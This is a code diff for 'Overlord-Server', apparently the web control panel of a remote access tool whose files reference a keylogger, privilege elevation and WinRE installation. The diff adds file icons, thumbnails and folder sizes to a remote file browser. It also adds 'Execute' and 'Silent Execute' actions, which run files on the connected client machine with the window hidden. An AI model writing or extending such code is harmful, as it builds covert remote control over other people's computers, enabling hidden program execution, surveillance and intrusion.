(!msg.done) { + // Progress tick — update status bar only (avoid toast spam). + if (statusEl) { + const label = `${tracked.name || msg.path}: ${formatBytes(msg.bytes || 0)} (${msg.files || 0} files)`; + statusEl.innerHTML = ` ${escapeHtml(label)}`; + } + return; + } + folderSizeInFlight.delete(msg.commandId); + updateStatus("connected", "Connected"); + if (msg.error) { + notifyToast(`Size of ${tracked.name}: error — ${msg.error}`, "error", 5000); + return; + } + notifyToast( + `${tracked.name}: ${formatBytes(msg.bytes || 0)} (${msg.files || 0} files, ${msg.dirs || 0} folders)`, + "success", + 8000, + ); +} + function getFileIcon(entry) { if (entry.isDir) { return ''; } const ext = getFileExt(entry.name); const cls = FILE_ICON_MAP[ext]; - if (cls) { - return ``; + const fallback = cls + ? `` + : ''; + + const key = iconCacheKey(entry); + if (!key) return fallback; + const cached = iconCache.get(key); + if (cached && cached.blobUrl) { + return ``; } - return ''; + return `${fallback}`; } function entryMatchesFilter(entry, mode) { @@ -928,7 +1310,13 @@ function createFileRow(entry) { row.dataset.path = entry.path; row.dataset.isDir = entry.isDir; + // Kick off lazy fetches for the row's real icon and (if applicable) its thumbnail. + // Both are throttled + batched; the DOM gets updated when results arrive. + requestIconFor(entry); + if (!entry.isDir) requestThumbFor(entry); + const icon = getFileIcon(entry); + const badges = renderAttrBadges(entry.attrs); const size = entry.isDir ? "-" : formatBytes(entry.size); const modTime = new Date(entry.modTime * 1000).toLocaleString(); @@ -938,6 +1326,7 @@ function createFileRow(entry) {
${icon} ${escapeHtml(entry.name)} + ${badges}
${size}
${modTime}
@@ -999,6 +1388,8 @@ function createFileRow(entry) { showContextMenu(e.clientX, e.clientY, entry); }; + attachRowQuicklookEvents(row, entry); + return row; } @@ -1081,9 +1472,18 @@ function handleFileAction(action, entry) { }); } break; + case "execute": + executeFile(entry.path, false); + break; + case "silent_execute": + executeFile(entry.path, true); + break; case "delete": deleteFile(entry.path); break; + case "dirsize": + requestFolderSize(entry); + break; } } @@ -1590,6 +1990,34 @@ function deleteFile(path) { }); } +function executeFile(path, silent) { + if (silent) { + const commandId = `silent-exec-${Date.now()}`; + send({ + type: "command", + commandType: "silent_exec", + id: commandId, + payload: { command: path, args: [], hideWindow: true }, + }); + trackCommandResult(commandId, { + successMessage: "Silent execution started", + errorPrefix: "Silent execution failed", + }); + } else { + const commandId = `exec-${Date.now()}`; + send({ + type: "command", + commandType: "file_execute", + id: commandId, + payload: { path }, + }); + trackCommandResult(commandId, { + successMessage: "Execution started", + errorPrefix: "Execution failed", + }); + } +} + function handleFileUploadResult(msg) { const toNumber = (value) => { if (typeof value === "number" && Number.isFinite(value)) return value; @@ -1733,10 +2161,16 @@ function showContextMenu(x, y, entry) { const editItem = contextMenu.querySelector('[data-action="edit"]'); const zipItem = contextMenu.querySelector('[data-action="zip"]'); const chmodItem = contextMenu.querySelector('[data-action="chmod"]'); + const executeItem = contextMenu.querySelector('[data-action="execute"]'); + const silentExecuteItem = contextMenu.querySelector('[data-action="silent_execute"]'); + const dirsizeItem = contextMenu.querySelector('[data-action="dirsize"]'); if (editItem) editItem.style.display = entry.isDir ? "none" : "block"; if (zipItem) zipItem.style.display = entry.isDir ? "block" : "none"; if (chmodItem) chmodItem.style.display = entry.mode ? "block" : "none"; + if (executeItem) executeItem.style.display = entry.isDir ? "none" : "block"; + if (silentExecuteItem) silentExecuteItem.style.display = entry.isDir ? "none" : "block"; + if (dirsizeItem) dirsizeItem.style.display = entry.isDir ? "block" : "none"; } function hideContextMenu() { diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html index 169b1a1..7577151 100644 --- a/Overlord-Server/public/filebrowser.html +++ b/Overlord-Server/public/filebrowser.html @@ -613,6 +613,9 @@
Zip & Download
+
+ Calculate Size +
Copy
@@ -622,6 +625,14 @@
Permissions
+
+
+ Execute +
+
+ Silent Execute +
+
Delete
@@ -757,6 +768,6 @@ - + diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts index 4022b56..39171ab 100644 --- a/Overlord-Server/src/protocol.ts +++ b/Overlord-Server/src/protocol.ts @@ -118,7 +118,10 @@ export type CommandType = | "elevate" | "file_upload_http" | "winre_install" - | "winre_uninstall"; + | "winre_uninstall" + | "file_icon" + | "file_thumb" + | "file_dirsize"; export type Command = { type: "command"; @@ -189,6 +192,44 @@ export type FileEntry = { mode?: string; owner?: string; group?: string; + attrs?: number; +}; + +export type FileIconResultItem = { + key: string; + png?: Uint8Array; + error?: string; +}; + +export type FileIconResult = { + type: "file_icon_result"; + commandId?: string; + icons: FileIconResultItem[]; +}; + +export type FileThumbnailResultItem = { + key: string; + jpeg?: Uint8Array; + w?: number; + h?: number; + error?: string; +}; + +export type FileThumbnailResult = { + type: "file_thumb_result"; + commandId?: string; + thumbs: FileThumbnailResultItem[]; +}; + +export type FolderSizeResult = { + type: "file_dirsize_result"; + commandId?: string; + path: string; + bytes: number; + files: number; + dirs: number; + done: boolean; + error?: string; }; export type FileListResult = { diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index 15ef40f..eb0cfdc 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -636,6 +636,9 @@ export async function handleWebSocketMessage( case "file_upload_result": case "file_read_result": case "file_search_result": + case "file_icon_result": + case "file_thumb_result": + case "file_dirsize_result": case "command_result": if (payloadType === "command_result" && typeof (payload as any).commandId === "string") { const pending = deps.pendingCommandReplies.get((payload as any).commandId); diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts index 5121ab2..c3c7395 100644 --- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts +++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts @@ -130,6 +130,23 @@ export function handleFileBrowserViewerMessage(ws: ServerWebSocket, target.ws.send(encodeMessage({ type: "command", commandType: "file_execute", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_execute"); break; + case "file_icon": + target.ws.send(encodeMessage({ type: "command", commandType: "file_icon", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("file_icon"); + break; + case "file_thumb": + target.ws.send(encodeMessage({ type: "command", commandType: "file_thumb", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("file_thumb"); + break; + case "file_dirsize": + target.ws.send(encodeMessage({ type: "command", commandType: "file_dirsize", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("file_dirsize"); + break; + case "silent_exec": + logger.debug(`[DEBUG] Forwarding silent_exec to client ${clientId}:`, actualPayload.command); + target.ws.send(encodeMessage({ type: "command", commandType: "silent_exec", id: routedId, payload: actualPayload } as any)); + metrics.recordCommand("silent_exec"); + break; case "file_upload_http": target.ws.send(encodeMessage({ type: "command", commandType: "file_upload_http", id: routedId, payload: actualPayload } as any)); metrics.recordCommand("file_upload"); @@ -278,6 +295,22 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W if (payload.type === "file_download" && payload.data) { const data = payload.data instanceof Uint8Array ? payload.data : new Uint8Array(payload.data); safeSendViewer(session.viewer, { ...payload, data }); + } else if (payload.type === "file_icon_result" && Array.isArray(payload.icons)) { + const icons = payload.icons.map((item: any) => { + if (item && item.png && !(item.png instanceof Uint8Array)) { + return { ...item, png: new Uint8Array(item.png) }; + } + return item; + }); + safeSendViewer(session.viewer, { ...payload, icons }); + } else if (payload.type === "file_thumb_result" && Array.isArray(payload.thumbs)) { + const thumbs = payload.thumbs.map((item: any) => { + if (item && item.jpeg && !(item.jpeg instanceof Uint8Array)) { + return { ...item, jpeg: new Uint8Array(item.jpeg) }; + } + return item; + }); + safeSendViewer(session.viewer, { ...payload, thumbs }); } else { safeSendViewer(session.viewer, payload); } diff --git a/Overlord-Server/src/wsValidation.ts b/Overlord-Server/src/wsValidation.ts index fb1dc31..c5139ab 100644 --- a/Overlord-Server/src/wsValidation.ts +++ b/Overlord-Server/src/wsValidation.ts @@ -14,6 +14,9 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([ "file_upload_result", "file_read_result", "file_search_result", + "file_icon_result", + "file_thumb_result", + "file_dirsize_result", "command_result", "screenshot_result", "command_progress",